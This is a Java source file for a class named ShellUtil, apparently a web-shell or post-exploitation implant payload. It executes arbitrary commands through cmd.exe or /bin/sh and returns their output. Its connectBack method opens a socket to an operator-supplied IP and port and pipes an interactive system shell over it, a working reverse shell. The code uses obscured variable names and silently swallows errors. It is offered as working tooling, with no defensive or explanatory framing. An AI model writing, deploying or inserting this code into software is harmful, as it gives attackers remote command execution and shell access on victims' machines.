import java.io.*;
import java.net.Socket;
import java.util.concurrent.TimeUnit;

public class ShellUtil extends Object {
    public static final String VERSION = "20260304-Debug-V1";

    public static String run(String methodName, String params, String encoding, String noperfix) {
        String res = "";
        if (methodName.equals("exec")) {
            res = ShellUtil.exec(params, encoding, noperfix);
        } else if (methodName.equals("connectback")) {
            String ip = params.substring(0, params.indexOf("^"));
            String port = params.substring(params.indexOf("^") + 1);
            res = ShellUtil.connectBack(ip, Integer.parseInt(port));
        } else {
            res = "unkown methodName";
        }
        return res;
    }

    public static String exec(String command, String encoding, String noperfix) {
        StringBuffer result = new StringBuffer();
        result.append("[ShellUtil Version: ").append(VERSION).append("]\n");
        try {
            String[] finalCommand;
            if (System.getProperty("os.name").toLowerCase().contains("windows")) {
                String systemRoot = System.getenv("SystemRoot");
                if (systemRoot == null || systemRoot.length() == 0) {
                    systemRoot = System.getProperty("SystemRoot");
                }
                if (systemRoot == null || systemRoot.length() == 0) {
                    systemRoot = "C:\\Windows";
                }

                if (noperfix.equals("true")) {
                    finalCommand = new String[] { command };
                } else {
                    finalCommand = new String[] { systemRoot + "\\system32\\cmd.exe", "/c", command };
                }
            } else {
                finalCommand = new String[] { "/bin/sh", "-c", command };
            }

            ProcessBuilder pb = new ProcessBuilder(finalCommand);
            pb.redirectErrorStream(true);
            Process p = pb.start();

            // Use a separate thread to read output to avoid blocking
            final InputStream is = p.getInputStream();
            final String enc = encoding;
            final StringBuffer outputBuffer = new StringBuffer();

            Thread t = new Thread(new Runnable() {
                public void run() {
                    try {
                        BufferedReader reader = new BufferedReader(new InputStreamReader(is, enc));
                        String line;
                        while ((line = reader.readLine()) != null) {
                            outputBuffer.append(line).append("\n");
                        }
                        reader.close();
                    } catch (Exception e) {
                        outputBuffer.append("Error reading: " + e.toString());
                    }
                }
            });
            t.start();

            // Wait for process to finish with a 15-second timeout
            boolean finished = false;
            try {
                // p.waitFor(timeout, unit) is Java 8+
                // To be safe for older Oracles, we can use a loop or join the reader thread
                t.join(15000); // Wait for reader to finish or timeout

                try {
                    p.exitValue(); // Check if process is done
                    finished = true;
                } catch (IllegalThreadStateException e) {
                    p.destroy(); // Force kill if not finished
                    result.append("[Error: Command timed out after 15s]\n");
                }
            } catch (InterruptedException e) {
                result.append("[Error: Thread interrupted]\n");
            }

            result.append(outputBuffer.toString());
        } catch (Exception e) {
            result.append("Exception: ").append(e.toString());
        }
        return result.toString();
    }

    public static String connectBack(String ip, int port) {
        class StreamConnector extends Thread {
            InputStream sp;
            OutputStream gh;

            StreamConnector(InputStream sp, OutputStream gh) {
                this.sp = sp;
                this.gh = gh;
            }

            @Override
            public void run() {
                BufferedReader xp = null;
                BufferedWriter ydg = null;
                try {
                    xp = new BufferedReader(new InputStreamReader(this.sp));
                    ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                    char buffer[] = new char[1024];
                    int length;
                    while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                        ydg.write(buffer, 0, length);
                        ydg.flush();
                    }
                } catch (Exception e) {
                }
                try {
                    if (xp != null) {
                        xp.close();
                    }
                    if (ydg != null) {
                        ydg.close();
                    }
                } catch (Exception e) {
                }
            }
        }
        try {
            String sp;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                sp = new String("/bin/sh");
            } else {
                sp = new String("cmd.exe");
            }
            Socket sk = new Socket(ip, port);
            Process ps = Runtime.getRuntime().exec(sp);
            (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
            (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
        } catch (Exception e) {
        }
        return "^OK^";
    }
}
